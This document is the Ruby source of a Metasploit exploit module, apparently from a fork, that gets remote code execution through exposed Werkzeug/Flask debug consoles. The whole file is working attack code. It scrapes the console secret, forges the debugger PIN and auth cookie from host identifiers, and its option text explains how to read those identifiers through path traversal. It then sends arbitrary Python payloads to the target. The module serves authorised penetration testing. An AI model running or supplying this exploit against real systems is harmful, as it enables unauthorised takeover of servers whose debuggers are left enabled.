Files
metasploit-gs/modules/exploits/multi/http/werkzeug_debug_rce.rb
T
Graeme Robinson 7838a943ce Update werkzeug_debug_rce.rb
Added comments about where version-dependant salts come from
2024-12-08 21:01:17 +00:00

405 lines
18 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
Rank = GoodRanking
METHODS_WITH_BODY = %w[POST PUT PATCH].freeze
COOKIE_PATTERN = /__wzd[[:xdigit:]]{20}=\d+\|[[:xdigit:]]{12}/.freeze
MAC_PATTERN = /^[[:xdigit:]]{2}([-:]?)(?:[[:xdigit:]]{2}\1){4}[[:xdigit:]]{2}$/.freeze
PIN_PATTERN = /^[[:digit:]-]+$/.freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution',
'Description' => %q{
This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django. It may also be used alone.
The documentation states the following: "The debugger must never be used on production machines. We cannot stress this enough. Do not enable the debugger in production." Of course this doesn't prevent developers from mistakenly enabling it in production!
Tested against the following Werkzeug versions:
- 3.0.3 on Debian 12, Windows 11 and macOS 14.6
- 1.1.4 on Debian 12
- 1.0.1 on Debian 12
- 0.11.5 on Debian 12
- 0.10 on Debian 12
},
'Author' => [
'h00die <mike[at]shorebreaksecurity.com>',
'Graeme Robinson <metasploit[at]grobinson.me>/@GraSec'
],
'References' => [
['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'],
['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'],
[
'URL',
'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'
],
[
'URL',
'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger'
],
[
'URL',
'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \
'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a'
]
],
'License' => MSF_LICENSE,
'Platform' => ['python'],
'Targets' => [
# pip install werkzeug==3.0.3 flask==3.0.3
[
'Werkzeug > 1.0.1 (Flask > 1.1.4)',
{
digest: Digest::SHA1,
digest_inputs: :new,
salt: ' added salt' # From site-packages/werkzeug/debug/__init__.py > hash_pin()
}
],
# pip install werkzeug==1.0.1 flask==1.1.4
[
'Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)',
{
digest: Digest::MD5,
digest_inputs: :new,
salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin()
}
],
# pip install werkzeug==0.11.5 flask==0.12.5
[
'Werkzeug 0.11 - 0.11.5 (Flask < 1.0)',
{
digest: Digest::MD5,
digest_inputs: :old,
salt: 'shittysalt' # From site-packages/werkzeug/debug/__init__.py > hash_pin()
}
],
# pip install werkzeug==0.10 flask==0.12.5
['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version
],
'Arch' => ARCH_PYTHON,
'DefaultTarget' => 0,
'DisclosureDate' => '2015-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
}
)
)
register_options(
[
OptEnum.new('AUTHMODE', [
true, 'Authentication mode', 'generated-cookie',
%w[generated-cookie known-cookie known-PIN none]
]),
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]),
OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']),
# Options for using a known cookie/PIN
OptString.new('PIN', [
false, 'PIN to use for authentication. This can be set to a custom value by the ' \
"application developer, in which case generating the pin won't work, but if you" \
'have path traversal, you may be able to retrieve this pin by reading the ' \
'application source code, or, on Linux by reading /proc/self/environ to obtain ' \
'the value of the WERKZEUG_DEBUG_PIN environment variable', nil
],
conditions: %w[AUTHMODE == known-PIN]),
OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil],
conditions: %w[AUTHMODE == known-cookie]),
# Options for generating cookie/PIN
OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'],
conditions: %w[AUTHMODE == generated-cookie]),
# https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho
# https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2
OptString.new('CGROUP', [
false,
"Control group. This may be an empty string (''), for example if the OS running the " \
'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \
'traversal on Linux, this could be read from /proc/self/cgroup',
''
], conditions: %w[AUTHMODE == generated-cookie]),
OptString.new('FLASKPATH', [
false,
'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \
'debugger via an exception, it will be at the top of the stack trace. E.g. ' \
'/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \
'need to be changed to .pyc)', ''
],
conditions: %w[AUTHMODE == generated-cookie]),
# https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential
OptString.new('MACADDRESS', [
false,
'MAC address of the system that the service is running on. If you have path ' \
'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil
],
conditions: %w[AUTHMODE == generated-cookie]),
OptString.new('MACHINEID', [
false,
'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \
"if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \
'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \
'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \
'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \
'4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \
"retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \
'\"serial-number\"', nil
],
conditions: %w[AUTHMODE == generated-cookie]),
OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'],
conditions: %w[AUTHMODE == generated-cookie]),
OptString.new('SERVICEUSER', [
false,
'User account name that the service is running under. If you have path ' \
'traversal on Linux, you may be able to read this from /proc/self/environ',
'root'
],
conditions: %w[AUTHMODE == generated-cookie]),
# Options for sending a body, if required to invoke the debugger
OptString.new(
'REQUESTBODY',
[false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"],
conditions: ['METHOD', 'in', METHODS_WITH_BODY]
),
# This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me!
OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'],
conditions: %w[REQUESTBODY == set])
],
self.class
)
end
def all_generation_values_set?
datastore['SERVICEUSER'] && datastore['MODULENAME'] && datastore['APPNAME'] && datastore['FLASKPATH'] &&
datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP']
end
def config_invalid?
# Check that target supports selected authentication mode
if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none'
return CheckCode::Unknown(
"AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \
"require/support authentication. Change TARGET or set AUTHMODE to 'none'"
)
end
case datastore['AUTHMODE']
when 'known-cookie'
unless COOKIE_PATTERN =~ datastore['COOKIE']
return CheckCode::Unknown(
'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \
"'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'"
)
end
when 'known-PIN'
unless PIN_PATTERN =~ datastore['PIN']
return CheckCode::Unknown(
'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens'
)
end
when 'generated-cookie'
# Check that *all* values used to generate cookie & pin are set
unless all_generation_values_set?
return CheckCode::Unknown(
"AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \
'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP'
) # Alphabetise
end
# Check for valid MAC address
unless MAC_PATTERN =~ datastore['MACADDRESS']
return CheckCode::Unknown("#{datastore['MACADDRESS']} is not a valid MAC address")
end
end
# Check that requestbody is not specified if method doesn't support it
return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD'])
return CheckCode::Unknown(
"REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body"
)
end
# Retrieve secret and frame
def secret_and_frame
res = send_request_cgi(
'method' => datastore['METHOD'],
'uri' => normalize_uri(target_uri),
'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])),
'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY'])
)
unless res
print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}"
return
end
# Regex hell. Considered an HTML parser here but regex would still be needed to parse the JavaScript
# A redundant escape is required to work around broken syntax highlighting in Sublime Text
# rubocop:disable Style/RedundantRegexpEscape
/(?:EVALEX\ =\ (?<evalex_enabled>true),.*?)? # Code execution in debugger enabled
(?:EVALEX_TRUSTED\ =\ (?<pin_required>false),.*)? # Pin required if 'false' matches. This technique supports v0.10-
SECRET\ =\ \"(?<secret>[a-zA-Z0-9]{20})"; # Secret
(?:.*? id="frame-(?<frame>[0-9]+)")? # Frame number, if it exists (i.e. if debugger)
.*Werkzeug\ powered\ traceback\ interpreter # Service Identifier
/mx.match(res.body)
# rubocop:enable Style/RedundantRegexpEscape
end
# Authenticate with PIN to retrieve cookie
def cookies(secret)
res, duration = Rex::Stopwatch.elapsed_time do
send_request_cgi(
'uri' => normalize_uri(target_uri),
'vars_get' => {
'__debugger__' => 'yes',
'cmd' => 'pinauth',
'pin' => datastore['PIN'],
's' => secret
}
)
end
unless res
fail_with(Failure::TimeoutExpired,
"Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}")
end
if res.get_json_document['exhausted']
fail_with(Failure::NoAccess,
"Failed to authenticate using PIN: #{datastore['PIN']}. PIN authentication attempts " \
'exhausted. The remote application must be restarted to re-enable PIN authentication.')
end
unless COOKIE_PATTERN =~ res.get_cookies
attempts_text = duration < 5 ? 'at least' : 'fewer than'
fail_with(Failure::NoAccess,
"Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \
'failed authentication exhaustion count has been reached. The time taken to receive a response ' \
"indicates that #{attempts_text} 5 more attempts can be made before PIN authentication is disabled " \
'which would require the application to be restarted to re-enable PIN authentication.')
end
res.get_cookies
end
def generated_cookie
# Ported from https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py
digest = target.opts[:digest].new
digest << datastore['SERVICEUSER']
digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s if target.opts[:digest_inputs] == :old
digest << datastore['MODULENAME']
digest << datastore['APPNAME']
digest << datastore['FLASKPATH']
if target.opts[:digest_inputs] == :new
digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s
digest << datastore['MACHINEID']
cgroup = datastore['CGROUP'].split('/')
digest << cgroup[2] if cgroup[2]
end
digest << 'cookiesalt'
case target.opts[:digest_inputs]
when :new
cookie_key = "__wzd#{digest.hexdigest[0..19]}"
digest << 'pinsalt'
when :old
cookie_key = "__wzd#{digest.hexdigest[0..11]}"
end
pin = digest.hexdigest.to_i(16).to_s[0..8].scan(/.{3}/).join '-'
print_status "Generated authentication PIN: #{pin}"
expiry = '9999999999' # Sat, 20 Nov 2286 17:46:39 +00:00 (!)
case target.opts[:digest_inputs]
when :new
cookie_value = digest.hexdigest("#{pin}#{target.opts[:salt]}")[0, 12]
cookie = "#{cookie_key}=#{expiry}|#{cookie_value}"
when :old
cookie = "#{cookie_key}=#{expiry}"
end
print_status "Generated authentication cookie: #{cookie}"
cookie
end
def execute_python(cmd, secret, frame, cookies = '')
send_request_cgi(
'method' => 'GET',
# Path without querystring because triggering debugger may have required parameters
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'__debugger__' => 'yes',
'cmd' => cmd,
's' => secret,
'frm' => frame
},
'cookie' => cookies
)
end
def check_code_exec(secret, frame, cookies = '')
canary = rand
execute_python(canary, secret, frame, cookies).body.start_with? ">>> #{canary}"
end
def check
c = config_invalid?
return c if c
match = secret_and_frame
unless match
return CheckCode::Unknown('HTTP response not recognised as Werkzeug')
end
unless match[:evalex_enabled]
return CheckCode::Safe('Debugger does not allow code execution')
end
print_status 'Debugger allows code execution'
if match[:pin_required]
return CheckCode::Detected('Debugger requires authentication')
end
print_status 'Debugger does not require authentication'
# Now check whether code execution is possible by evaluating something
unless check_code_exec(match[:secret], match[:frame] || 0)
return CheckCode::Safe('Attempted code execution failed')
end
CheckCode::Vulnerable('Code execution was successful')
end
def exploit
# First we try to get the SECRET code (and frame number if debugger rather than console)
fail_with(Failure::UnexpectedReply, 'Werkzeug "Secret" could not be retrieved') unless (match = secret_and_frame)
vprint_status "Secret Code: #{match[:secret]}"
vprint_status "Frame: #{match[:frame] || 0}" # Frame should be set to 0 if not in response (e.g. if using console)
case datastore['AUTHMODE']
when 'known-PIN'
cookies = cookies match[:secret]
vprint_status "Authenticated using PIN: #{datastore['PIN']}"
print_status "Retrieved authentication cookie: #{cookies}"
when 'known-cookie'
cookies = datastore['cookie']
when 'generated-cookie'
cookies = generated_cookie
end
# Check whether code execution is possible by evaluating something
unless check_code_exec(match[:secret], match[:frame] || 0, cookies)
fail_with(Failure::NoAccess, 'Response indicates that code execution failed')
end
vprint_status 'Code execution was successful. Sending payload.'
# Send the payload to the debugger along with the values extracted from the previous response
res = execute_python(payload.encoded, match[:secret], match[:frame] || 0, cookies)
unless res.body.start_with? '>>> '
fail_with(Failure::PayloadFailed, 'Response indicates that payload has not been executed sucessfully')
end
vprint_status 'Response indicates that payload has been executed. Note: This does not indicate a lack of errors'
end
end